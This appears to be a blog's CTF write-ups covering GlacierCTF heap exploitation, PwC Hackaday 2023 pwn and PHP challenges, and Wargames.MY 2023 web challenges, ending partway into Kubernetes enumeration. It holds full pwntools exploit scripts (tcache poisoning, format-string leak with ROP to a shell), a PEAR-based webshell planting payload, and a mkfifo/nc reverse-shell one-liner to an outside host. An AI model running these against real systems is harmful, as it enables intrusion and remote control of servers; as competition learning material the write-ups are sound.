-> Chunk(addr=0x5555555757c0, size=0x20, flags=PREV_INUSE, fd=0x5550000203d5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575690, size=0x20, flags=PREV_INUSE, fd=0x5550000203f5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575670, size=0x20, flags=PREV_INUSE, fd=0x5550000200a5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x5555555755c0, size=0x20, flags=PREV_INUSE, fd=0x555000020035, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575530, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=1, size=0x30, @0x555555563098] count=2
-> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x5550000200d5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575590, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
-> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x5555555630c8] count=1
-> Chunk(addr=0x5555555755e0, size=0x90, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x555555563108] count=1
-> Chunk(addr=0x5555555756b0, size=0x110, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 13 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.
Now, when we delete rating 1 and 2, both would go to fastbin
.
----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x555555563090] count=7
-> Chunk(addr=0x555555575800, size=0x20, flags=PREV_INUSE, fd=0x555000020285, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x5555555757e0, size=0x20, flags=PREV_INUSE, fd=0x5550000202a5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x5555555757c0, size=0x20, flags=PREV_INUSE, fd=0x5550000203d5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575690, size=0x20, flags=PREV_INUSE, fd=0x5550000203f5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575670, size=0x20, flags=PREV_INUSE, fd=0x5550000200a5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x5555555755c0, size=0x20, flags=PREV_INUSE, fd=0x555000020035, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575530, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=1, size=0x30, @0x555555563098] count=2
-> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x5550000200d5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575590, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
-> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x5555555630c8] count=1
-> Chunk(addr=0x5555555755e0, size=0x90, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x555555563108] count=1
-> Chunk(addr=0x5555555756b0, size=0x110, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 13 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7ffff7c17ad0]
-> Chunk(addr=0x555555575510, size=0x20, flags=PREV_INUSE, fd=0x555000020185, bk=0x00000000000a)
-> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x00000000000a)
[+] Found 2 chunks in fastbin.
Next, we trigger the double free by deleting rating 1.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7ffff7c17ad0]
-> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
-> Chunk(addr=0x555555575510, size=0x20, flags=PREV_INUSE, fd=0x555000020185, bk=0x00000000000a)
-> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
-> 0x555555575500 [loop detected]
[+] Found 2 chunks in fastbin.
Tcache Poisoning
Now, when we request a 0x20
size chunk, it would first go through tcachebins
until it's empty. When we empty out the tcachebins
, the next allocation request
would go to fastbin
and the rest of the bins would be dumped into tcachebins
.
But how do we empty out the tcachebins
? Using scream
is not ideal as
the chunks would get freed again. The answer is to simply create a rating.
This is because the allocation is done before the rating count validation check.
Before allocation request
----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=1, size=0x30, @0x555555563098] count=2
-> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x5550000200d5, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575590, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
-> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x5555555630c8] count=1
-> Chunk(addr=0x5555555755e0, size=0x90, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x555555563108] count=1
-> Chunk(addr=0x5555555756b0, size=0x110, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 6 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7ffff7c17ad0]
-> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
-> Chunk(addr=0x555555575510, size=0x20, flags=PREV_INUSE, fd=0x555000020185, bk=0x00000000000a)
-> Chunk(addr=0x5555555754f0, size=0x20, flags=PREV_INUSE, fd=0x555000020065, bk=0x00000000000a)
-> 0x555555575500 [loop detected]
[+] Found 2 chunks in fastbin.
After allocation request: 0x560c41f0d4f0
is allocated, which is the first
free chunk in fastbin
, and the remaining chunks are dumped into tcachebins
.
----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x560c41efb090] count=3
-> Chunk(addr=0x560c41f0d510, size=0x20, flags=PREV_INUSE, fd=0x56092134ca0d, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x560c41f0d4f0, size=0x20, flags=PREV_INUSE, fd=0x56092134ca2d, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x560c41f0d510, size=0x20, flags=PREV_INUSE, fd=0x56092134ca0d, bk=0x6ee603c65e3f27c0)
-> 0x560c41f0d520 [loop detected]two chunk
tcachebins[idx=1, size=0x30, @0x560c41efb098] count=2
-> Chunk(addr=0x560c41f0d2a0, size=0x30, flags=PREV_INUSE, fd=0x56092134caad, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x560c41f0d590, size=0x30, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x560c41efb0a8] count=2
-> Chunk(addr=0x560c41f0d2d0, size=0x50, flags=PREV_INUSE, fd=0x56092134cc3d, bk=0x6ee603c65e3f27c0)
-> Chunk(addr=0x560c41f0d320, size=0x50, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
tcachebins[idx=7, size=0x90, @0x560c41efb0c8] count=1
-> Chunk(addr=0x560c41f0d5e0, size=0x90, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
tcachebins[idx=15, size=0x110, @0x560c41efb108] count=1
-> Chunk(addr=0x560c41f0d6b0, size=0x110, flags=PREV_INUSE, fd=0x000560c41f0d, bk=0x6ee603c65e3f27c0)
[+] Found 8 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.
gef> p $rax - 0x10
$1 = 0x560c41f0d4f0
Now that we received a chunk at 0x560c41f0d4f0
, while this chunk exists on
tcachebins
, we could perform tcache poisoning to allocate a chunk where
we could overwrite our user permission level.
Final Solve Script
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./app", checksec=False)
def start(argv=[], *a, **kw):
nc = "nc chall.glacierctf.com 13373"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
args_ = [elf.path] + argv
if args.NA:
args_ = ["setarch", "-R"] + args_
return process(args_, env=env, *a, **kw)
def create(rating: bytes):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"rating\n> ", rating)
def delete(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"remove?\n> ", str(idx).encode())
def show():
io.sendlineafter(b"> ", b"3")
def scream(aaa: bytes):
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"content!\n", aaa)
def admin():
io.sendlineafter(b"> ", b"5")
def reveal(ptr):
mask = 0xfff << 36
while mask:
ptr ^= (ptr & mask) >> 12
mask >>= 12
return ptr
def mangle(pos, ptr):
return (pos >> 12) ^ ptr
env = {}
io = start()
io.sendlineafter(b"username: ", cyclic(0x30))
io.sendlineafter(b"password: ", cyclic(0x30))
create(b"a" * 8)
create(b"b" * 8)
create(b"c" * 8)
delete(3)
show()
io.recvuntil(b"3: ")
heap_leak = u64(io.recvline().strip().ljust(8, b"\x00"))
log.info(f"{heap_leak=:#x}")
heap = heap_leak << 12
log.info(f"{heap=:#x}")
user_chunk = heap + 0x370
# Fill up tcachebins
payload = b"\n".join([cyclic(0x10)] * 7 + [b"quit"])
scream(payload)
# fastbin dup
delete(1)
delete(2)
delete(1)
# Empty out tcachebins
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
create(b"f" * 8)
# After tcachebins is empty, the fastbins are dumped into tcachebins
# which enable us to do tcache poisoning with the fastbin dup earlier
fd = mangle(heap + 0x4f0, user_chunk + 0x80) # perms field
create(p64(fd))
create(b"f" * 8)
create(b"f" * 8)
create(p64(0) + p64(0x41))
admin()
io.interactive()
➜ ./solve.py REMOTE
[+] Opening connection to chall.glacierctf.com on port 13373: Done
[*] heap_leak=0x557c4b598
[*] heap=0x557c4b598000
[*] Switching to interactive mode
Verified permissions
Here is your flag: gctf{I_th0ght_1_c0uld_n0t_m3ss_4nyth1ng_up}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to chall.glacierctf.com port 13373
PwC Hackaday 2023
pwn
Challenge Name | Keywords | Summary |
---|---|---|
Hack The Binary 1 | oob | Array OOB read |
Hack The Binary 2 | format string, ROP | Format string to defeat ASLR, ROP to get RCE |
web
Challenge Name | Keywords | Summary |
---|---|---|
PHP Code Review 1 | php | Leveraging Google search box to capture the flag |
PHP Code Review 2 | php | Triggerring error to reach catch block |
Hack The Binary 1
Keywords
PwC CTF: Hack A Day 2023 - Securing AI, pwn, oobTL;DR
Array OOB read
Initial Analysis
When we try to run the binary file, we are first prompted to enter a 4-digit
password. Looking at the decompilation output, the password is hardcoded in
password_checker()
function, i.e., 1235
__int64 __fastcall password_checker(int password) {
__int64 result; // rax
if ( password == 1235 ) {
puts("Login Successfully\n");
result = 1LL;
}
else {
if ( password <= 999 || password > 9999 )
puts("Please Enter 4 digit numbers!\n");
else
puts("Invalid password!\n");
result = 0LL;
}
return result;
}
Next, we could see that inside management_system()
function, we could see
that we are allowed to query an item whose ID is less than or equal to 14.
However, notice that there is no check for negative item ID and the variable
data type is a signed integer.
void __fastcall management_system() {
int input; // [rsp+4h] [rbp-Ch]
unsigned int j; // [rsp+8h] [rbp-8h]
unsigned int i; // [rsp+Ch] [rbp-4h]
while ( 1 ) {
while ( 1 ) {
while ( 1 ) {
while ( 1 ) {
puts("--- Welcome to the Management System ---");
puts("1. User List ");
puts("2. Item List ");
puts("3. Search for Item Storage ");
puts("4. Exit");
printf("Enter your choice: ");
__isoc99_scanf("%d", &input);
if ( input != 1 )
break;
for ( i = 0; (int)i <= 17; ++i )
printf("UserID - %d %s\n", i, userlist[i]);
putchar('\n');
}
if ( input != 2 )
break;
for ( j = 0; (int)j <= 14; ++j )
printf("ItemID - %d %s\n", j, item[2 * (int)j]);
putchar('\n');
}
if ( input != 3 )
break;
printf("Please Enter item ID: ");
__isoc99_scanf("%d", &input);
if ( input <= 14 )
printf("\nStorage of %s: %s\n\n", item[2 * input], off_4888[2 * input]);
else
puts("Invalid item ID!\n");
}
if ( input == 4 )
break;
puts("Invalid Input!");
}
}
This means that we could provide a negative item ID, e.g., -4
, and it would access
memory address lower than item
and return the value there. Looking at interesting
things that we could read with negative item ID, we could see that there is a
variable named secret which contains the flag.
Solution
Now that we know we could read the flag by providing a negative item ID, the next
step is to calculate the exact value to properly access the flag. To do this, we
could simply subtract the distance between item
and secret
and then divides
the value by 16.
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./vuln", checksec=False)
def start(argv=[], *a, **kw):
nc = "nc localhost 1337"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
return process([elf.path] + argv, env=env, *a, **kw)
env = {}
io = start()
item = elf.sym["item"]
secret = elf.sym["secret"]
delta = (item - secret) // 16
log.info(f"{delta=:#x}")
io.sendlineafter(b"numbers): ", b"1235")
io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"ID: ", str(delta * -1).encode())
io.recvuntil(b"Storage of ")
io.interactive()
Hack The Binary 2
Keywords
PwC CTF: Hack A Day 2023 - Securing AI, pwn, format string, ROPTL;DR
Format string to defeat ASLR, ROP to get RCE
Initial Analysis
The given binary file is almost similar to Hack the Binary 1
, but without the
flag lying around in the memory and array OOB. Instead, the login()
function
is now susceptible to format string attack. Furthermore, it is also subjected to
buffer overflow as the scanf
format is not restricted by length.
__int64 login() {
__int64 result; // rax
char format; // [rsp+Ah] [rbp-6h]
do {
printf("Please Enter Password (4 digit numbers): ");
__isoc99_scanf("%s", &format);
printf("Your Password is ");
printf(&format); // <=== format string !!!
putchar(10);
result = password_checker(&format);
} while ( (_DWORD)result != 1 );
return result;
}
Solution
The first step is to leak the stack and look for any interesting address,
particularly the one that points to libc memory space since we want to call
system()
later on to pop a shell. The format string that would be discussed
in this writeup is %n$llx
where n
specify the stack offset and llx
for
64-bit value in hex format.
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./vuln2", checksec=False)
def start(argv=[], *a, **kw):
nc = "nc localhost 1337"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
return process([elf.path] + argv, env=env, *a, **kw)
env = {}
def printf_leak(idx):
payload = f"%{idx}$llx".encode()
io.sendline(payload)
io.recvuntil(b"is ")
leak = int(io.recvline(keepends=False), 16)
return leak
io = start()
for i in range(1, 16):
leak = printf_leak(i)
log.info(f"{i} {leak:#x}")
io.interactive()
Based on the result, the third entry is a libc address value.
{{< alert "circle-info" >}}
One could also double check where is the libc memory region via /proc/<pid>/maps
{{< /alert >}}
Since the challenge does not come with a libc file, we could not directly compute
the offset between the leaked address with the base address of libc. The local
libc used in this writeup is of version 2.35-0ubuntu3
. Now, if we try to run
it against the remote server, we could see that the lowest 3 nibbles (hex digit)
is different (local is a37
, remote is a77
). We only compare the lowest 3
nibbles since ASLR does not affect these 3. This means that the remote server
is using a different libc version.
We need to check if the leaked address belongs to any libc function such that we could use the known symbol as a lookup value on libc database like:
Now, if we attached gdb to the process (that is running local binary), we could
see that the address lies within __GI___libc_write
.
If we try to use the symbol name __GI___libc_write
with the address
0xa37-23 = 0xa20
, libc.rip returns us results. However,
there is no 2.35-0ubuntu3
. This means that the symbol name is not quite right.
If we try to break at the beginnning of the function, gef
(gdb plugin)
labels the function as write
.
Now, if we use replace the symbol name with write
instead, we get more results
and 2.35-0ubuntu3
is among them.
Next, we just need to replace the address value with the one that we got from
remote server, i.e., 0xa77-23 = 0xa60
. If we diff the results between
__GI___libc_write 0xa60
and write 0xa60
, we could deduce that libc6_2.35-0ubuntu3.4_amd64
is probably the correct one. Click on the result and we could see various offsets,
e.g., write
, system
, str_bin_sh
, etc. With the offset of write
, we could
compute the libc base address on the remote side and then use the base address
to locate system
function address within the process memory and various other
stuffs. Another thing that we need is also a pop rdi; ret;
gadget which does not
exist in the binary file, but is available from the libc file.
Final solve script:
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
from pwn import *
elf = context.binary = ELF("./vuln2", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
def start(argv=[], *a, **kw):
nc = "nc localhost 1337"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
return process([elf.path] + argv, env=env, *a, **kw)
env = {}
def printf_leak(idx):
payload = f"%{idx}$llx".encode()
io.sendline(payload)
io.recvuntil(b"is ")
leak = int(io.recvline(keepends=False), 16)
return leak
io = start()
# for i in range(1, 16):
# leak = printf_leak(i)
# log.info(f"{i} {leak:#x}")
libc_leak = printf_leak(3)
libc.address = libc_leak - 0x114a60 - 23
log.info(f"{libc.address=:#x}")
pop_rdi = libc.address + 0x001bc0a1
ret = pop_rdi + 1
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload = b"A" * 6
payload += p64(elf.bss(0xc00))
payload += flat(
pop_rdi, bin_sh,
ret, # stack alignment
libc.sym["system"]
)
io.sendline(payload)
io.sendline(b"1235")
io.interactive()
PHP Code Review 1
Keywords
PwC CTF: Hack A Day 2023 - Securing AI, web, phpTL;DR
Leveraging Google search box to capture the flag
Source Code
info
This is a rough overview of the source code but is enough for solving the challenge
<?php
include 'flag.php';
if (isset($_GET['debug'])) {
highlight_file(__FILE__);
}
if (isset($_GET['url'])) {
$url = $_GET['url'];
$parsed = parse_url($url);
if ($parsed['host'] == "www.google.com" && ($parsed['scheme'] == "http" || $parsed['scheme'] == "https")) {
echo file_get_contents(str_replace("../", "/", $url) . "?flag=" . $flag);
} else {
die("Forbidden");
}
}
?>
Initial Analysis
From the source code above, we could see that it requires us to provide a URL
that satisfy the criterias. Searching on the internet on how to bypass
parse_url
host leads us to this page.
Based on the PoC, for PHP < 5.6.28, the parse_url
incorrectly parses the host
component. We could trick parse_url
to think that www.google.com
is the
host, but in fact, the real host is a webhook for us to retrieve the flag.
However, this does not work for us since if we look at the response header,
it is stated that the server is running PHP version 8.2.12
.
Seems like there is no way for us to trick the parse_url
but to work with
www.google.com
Looking at www.google.com
If we provide https://www.google.com
as the url
query value, we could see that
it just returns the page with an empty search box.
If we go to google and try to search up, e.g., pwc hackaday 2023
, it would
redirect us to this URL: https://www.google.com/search?q=pwc+hackaday+2023&...
.
Now, if we try to visit https://www.google.com/search?q=hello+world
directly,
we end up with this page.
Looking back at the source code, we could see that the argument passed to file_get_contents
is our provided url
appended with ?flag=
. If our provided url
already contains
?foo=bar
, then the appended ?flag=
would lose its ?
original syntax meaning
and instead be treated as the continuation of our initial foo
parameter key
value, i.e., foo = bar?flag=
Solution
Before we continue, let's recap back on our findings:
parse_url
host confusion is not possible due to mismatch PHP version- If our provided
url
already contains?
which signify the starting of query string, then the appended?flag
would lose its?
meaning - The Google search endpoint
/search
query keyq
value is reflected back to the search box
Now, putting everything together, we could provide url
as https://www.google.com/search?q=
and the flag would be appended into https://www.google.com/search?q=?flag=...
,
which means that ?flag=...
would show up inside the Google search box.
PHP Code Review 2
Keywords
PwC CTF: Hack A Day 2023 - Securing AI, web, phpTL;DR
Triggering error to reach catch
block
Source Code
info
This is only a part of the source code
<?php
// php 8.2.12
//
// if ?debug, highlight __FILE__ to view source code
$username = $_GET['username'];
$passwd = $_GET['password'];
$alg = $_GET['alg'];
$pwlist = array('admin' => "REMOVED", "editor" => "REMOVED" );
function hashing($passwd, $alg) {
try {
if (!isset($alg)) {
$alg = "md5";
}
$alg = strval(trim($alg));
$passwd = strval($passwd);
if ($alg != "md5" && $alg != "sha256") {
die("invalid algorithm");
}
return hash($alg, $passwd);
} catch (Throwable) {
return;
}
}
if (isempty($username) || isempty($passwd)) {
die("empty username or password");
}
if (!strcmp(hashing($passwd, $alg), $pwlist[$username])) {
// set cookie with value of xor($username, $flag)
}
?>
Initial Analysis
From the source code above, it is apparent that we need to pass the strcmp
checks, such that we could retrieve the flag from the cookie. The first argument
is the hash digest of our provided password (MD5 or SHA256) and the second
argument comes from the initialized array. Since the value of the array is not
fully known, it is almost impossible for us to guess the username's hashed
password.
However, notice that if we provide a username that does not exist in the array,
$pwlist[$username]
would just return NULL
. Looking at the hashing()
function,
we could see that there are two code paths, one that returns hash($alg, $passwd)
,
and another path that returns NULL
. Since we could make the second argument to
be NULL
, it would be great if we could get the hashing()
function to return
NULL
as well.
Analysis of hashing()
The code path which returns NULL
, require us to trigger an error somewhere
inside the try
block. There are three function candidates, i.e., isset
,
strval
, and trim
. After trial-and-error, the trim()
function would raise
an error when an array is passed as the argument.
We could re-confirm this behaviour by passing an array to hashing()
and observe
that it indeed returns nothing as opposed to normal argument like md5
and sha256
.
Solution
Here is the summary of our findings:
- Our goal is to pass the
strcmp
checks - We could make the second argument to return
NULL
using non-existing username - We could make the first argument to return
NULL
by triggering an error via thetrim()
function by passing it an array such that thecatch
block is reached
To pass an array via HTTP query string, we just need to append the parameter name with []
, e.g., ?alg[]=abcd
.
Since the cookie value is our supplied username XOR with the flag and base64 encoded, and we do not know the length of the flag beforehand, we could just supply a really long username
The final payload to get the server to set the cookie is:
http://<url>?username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=deadbeef&alg[]=
Wargames.MY CTF 2023
web
Challenge Name | Keywords | Summary |
---|---|---|
Warmup | php, RCE, LFI | LFI to RCE via PHP PEARCMD |
Status | php, k8s, nginx, off-by-slash | Retrieve nginx config file from k8s configmaps |
Secret | k8s, HashiCorp Vault | Read secret from HashiCorp vault using the vault CLI and using nginx off-by-slash |
Warmup
Keywords
Wargames.MY CTF 2023, web, php, RCE, LFISeries
TL;DR
LFI to RCE via PHP PEARCMD
Initial Analysis
We are presented with an input box that asks for a password.
The password checker is done on the client side via a minified javascript called
script.min.js
.
We can then deobfuscate the script with https://deobfuscate.io/ which manage to detect the matching obfuscator and redirects us to https://obf-io.deobfuscate.io/.
Passing The Password Checker
Looking at the deobfuscated script, we can see that the password is
this_password_is_so_weak_i_can_crack_in_1_sec!
and if we give this password,
it would reach out to /api/4aa22934982f984b8a0438b701e8dec8.php
endpoint
and hopefully give us the flag.
/* ... */
document.querySelector('button').addEventListener("click", _0x3ac921 => {
_0x3ac921.preventDefault();
if (document.querySelector("input").value === "this_password_is_so_weak_i_can_crack_in_1_sec!") {
fetch("/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php").then(_0x5c12f5 => _0x5c12f5.text()).then(_0x509e6e => Swal.fire({
'title': "Good job!",
'html': _0x509e6e,
'icon': "success"
}));
} else {
Swal.fire({
'title': "Oops...",
'text': "wrong password",
'icon': "error"
});
}
});
Unfortunately, there is no flag, but it mentioned about comment.
If we try to use curl
to visit the endpoint, we could see there is an HTML
comment, but it is still not it.
$ curl -s http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php
here's your flag <small>in comment</small> <!-- well, maybe not this comment -->
LFI
Notice that the API endpoint accepts a filename for the parameter query x
.
This almost screams LFI (local file inclusion) to me.
We can try to pass in /etc/passwd
and we indeed get the file content
$ curl -s http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=/etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
There are lots of filter implemented to deny us from accessing stuff like procfs
and wrappers such as php://input
, php://filter/convert
, data://
, etc.
I was not able to bypass it but other participants managed to do it by:
LFI2RCE
In the end, I stumbled upon this cheat sheet
which allows us to get RCE with PHP PEARCMD
which most probably satisfy the
prerequisite as most CTF challenges uses php image from docker registry.
This is the payload that I used:
?+config-create+/&x=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['c'])?>+/tmp/pir.php
Next, we can use the uploaded webshell to execute arbitrary command
$ curl -s 'http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=/tmp/pir.php&c=id'
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/php";s:8:"data_dir";s:69:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/data";s:7:"www_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/www";s:7:"cfg_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/cfg";s:7:"ext_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/ext";s:7:"doc_dir";s:69:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/docs";s:8:"test_dir";s:70:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/tests";s:9:"cache_dir";s:70:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/cache";s:12:"download_dir";s:73:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/download";s:8:"temp_dir";s:69:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/temp";s:7:"bin_dir";s:64:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear";s:7:"man_dir";s:68:"/&x=/usr/local/lib/php/pearcmd.php&/uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)/pear/man";}
Since the output is duplicated many times, I tried to get reverse shell on the remote server with this payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $NGROK_IP $NGROK_PORT >/tmp/f
flag: wgmy{1ca200caa85d3a8dcec7d660e7361f79}
On the next part of the post, we will see that we actually gain a shell inside a kubernetes pod and try to poke around with the this challenge deployment.
References
Status
Keywords
Wargames.MY CTF 2023, web, k8s, nginx, off-by-slashwarning
Disclaimer: This is my first time playing with k8s
, so things that I mentioned
may not be accurate.
Series
TL;DR
Retrieve nginx config file from k8s configmaps
Enumeration
The challenge description links us to /api/status.php
endpoint but there is
nothing much in it. If we take look at the file content directly, we could see
that it is using kubectl
to get the status of the deployments.
$ cat status.php
<?php
error_reporting(0);
$ok = exec('kubectl -n wgmy get deploy ' . getenv('DEPLOY') . ' -o jsonpath="{.status.availableReplicas}"');
echo($ok ? 'ok' : 'not ok');
If we check the environment variables, we could see a bunch of stuff concerning with k8s (kubernetes).
$ env
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT=443
USER=www-data
HOSTNAME=wgmy-webtestonetwothree-backend-7bc587fcd8-p4ksj
PHP_INI_DIR=/usr/local/etc/php
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_ADDR=10.43.246.102
SHLVL=3
HOME=/home/www-data
WGMY_WEBTESTONETWOTHREE_FRONTEND_PORT_80_TCP_PORT=80
